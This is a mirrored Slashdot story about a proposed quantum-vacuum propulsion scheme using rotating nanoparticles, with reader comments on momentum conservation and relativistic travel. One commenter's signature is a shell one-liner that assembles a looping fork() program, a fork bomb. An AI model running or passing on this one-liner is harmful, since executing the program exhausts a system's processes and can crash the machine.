Slashdot Mirror


How To Build a Quantum Propulsion Machine

KentuckyFC writes "According to quantum mechanics, a vacuum will be filled with electromagnetic waves leaping in and out of existence. It turns out that these waves can have various measurable effects, such as the Casimir-Polder force, which was first measured accurately in 1997. Just how to exploit this force is still not clear. Now, however, a researcher at an Israeli government lab suggests how it could be possible to generate propulsion using the quantum vacuum. The basic idea is that pushing on the electromagnetic fields in the vacuum should generate an equal and opposite force. The suggestion is that this can be done using nanoparticles that interact with the vacuum's electric and magnetic fields, generating the well-known Lorentz force. In most cases, the sum of Lorentz forces adds up to zero. But today's breakthrough is the discovery of various ways to break this symmetry and so use the quantum vacuum to generate a force. The simplest of these is simply to rotate the particles. So the blueprint for a quantum propulsion machine described in the paper is an array of addressable nanoparticles that can be rotated in the required way. Although such a machine will need a source of energy, it generates propulsion without any change in mass. As the research puts it with magesterial understatement, this might have practical implications."

7 of 392 comments (clear)

  1. Call me pedantic but... by loafula · · Score: 3, Insightful

    doesn't the introduction of particles make it NOT a vacuum?

    --
    FOXTROT UNIFORM CHARLIE KILO
  2. Those daring men in their quantum pushing machines by Anonymous Coward · · Score: 5, Insightful

    Well.

    A non-reaction mass drive. That makes my head hurt. It just gave a slight air of plausibility to a few million bad SF novels.

  3. Re:Implications? by Hal_Porter · · Score: 4, Insightful

    Well you're not going to get to a decent fraction of light speed if you need to squirt stuff out of the back of a rocket. A propulsion system that doesn't depend on squirting stuff out of the back of the ship opens up all sorts of possibilities.

    E.g. a spaceship that could accelerate at 1g would have all sorts of useful properties. Firstly 1g feels like gravity. Secondly you could zip around the solar system pretty quickly. Last but not least, due to time dilation you could circumnavigate the known universe in 50 to 100 years ship time. Of course back on Earth millions of years would pass so the trip would be one way. Still you could imagine making decades long (I guess, I'm too lazy to do the math) trips to a star like Sirius.

    Actually I like the idea of sending out a plague of self replicating machines in devices like these, to bring the Word Of Dawkins to the stars and troll the inhabitants of other star systems.

    --
    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
  4. Re:Momentum Conservation by radtea · · Score: 4, Insightful

    You can't change the momentum of the vacuum.

    "You can't see moons around Jupiter. If there were, it would mean the Earth isn't the center of the universe." (Galileo's critics really said this.)

    "You can't sail across the Atlantic to China. If you could, it would mean the Earth was round" (many, many errors on all sides of that statement!)

    "Anyone who is talks about the practical uses of nuclear power is talking moonshine" (Rutherford in 1920, more-or-less.)

    Scientific progress is the process of tearing down previously believed truths as well as discovering new, hopefully somewhat less contingent truths (although of course non-zero contingency always remains, which is a big deal to philosophers,mathematicians and other insane people, but not something anyone else cares very much about.)

    People who have done actual calculations, rather than an arm-chair analysis on /., think that it is possible to change the momentum of vacuum modes, thereby making them non-vacuum modes (one would presume) by introducing asymmetries from rotating magneto-electric materials and in various other ways.

    Introducing asymmetries has long been know to produce real particles from the vacuum. One of the most dramatic theoretical instances of this is a step-function potential with more than twice the electron mass. If you solve the Dirac equation in this situation you get weird phenomena like negative transmission and reflection coefficients that are negative or greater than unity.

    The explanation is that such a large potential (so long as the step occurs over a scale of less than the Compton wavelength of the electron, which is about a pico-metre) has the ability to separate the virtual pairs that make up the "Dirac sea", thus turning them into actual particles (at the cost of the required amount of energy). If you could actualize this you could then accelerate the electron and positron to fire them off in the same direction, giving your apparatus a push in the process. At the most abstract level, what these guys are proposing is no different from that.

    --
    Blasphemy is a human right. Blasphemophobia kills.
  5. MOD PARENT UP by LanMan04 · · Score: 4, Insightful

    This is exactly what they're saying. A quantum propeller.

    You push off of stuff that already exists in space to move forward, instead of having to throw stuff backwards to move forward.

    The KEY is that space is not a true vacuum. It is a "working fluid" in the sense that you can push at it with magnetic fields. It can be interacted with.

    --
    With the first link, the chain is forged.
  6. Re:Momentum Conservation by Chris+Burke · · Score: 4, Insightful

    Yes it does. The field is generated from the virtual particles in the vacuum, not from the ship. It is that field that they add momentum to -- the article explicitly mentions doing this -- adding equal and opposite momentum to their ship. They aren't trying to 'drag' the quantum vacuum field along with them. That would be impossible, not a method of propulsion, and violate conservation of momentum. The actual idea, however, does not.

    --

    The enemies of Democracy are
  7. Re:Momentum Conservation by blair1q · · Score: 3, Insightful

    It would be if Charlie Daniels is right. Or that that was what he was saying.

    Maxwell says you can conserve momentum and still gain propulsion by emitting radio waves.

    BTW, that isn't the laws of thermodynamics, more like the laws of motion. It's a momentum and energy not being the same thing and each having its own conservation law, sort of thing.

    But take heart. Most jokes are funny not because they are right, but because they follow the syntactic and semantic patterns of jokes. Same deal with Republican political slogans. Total bullshit, but excellent clap-trap.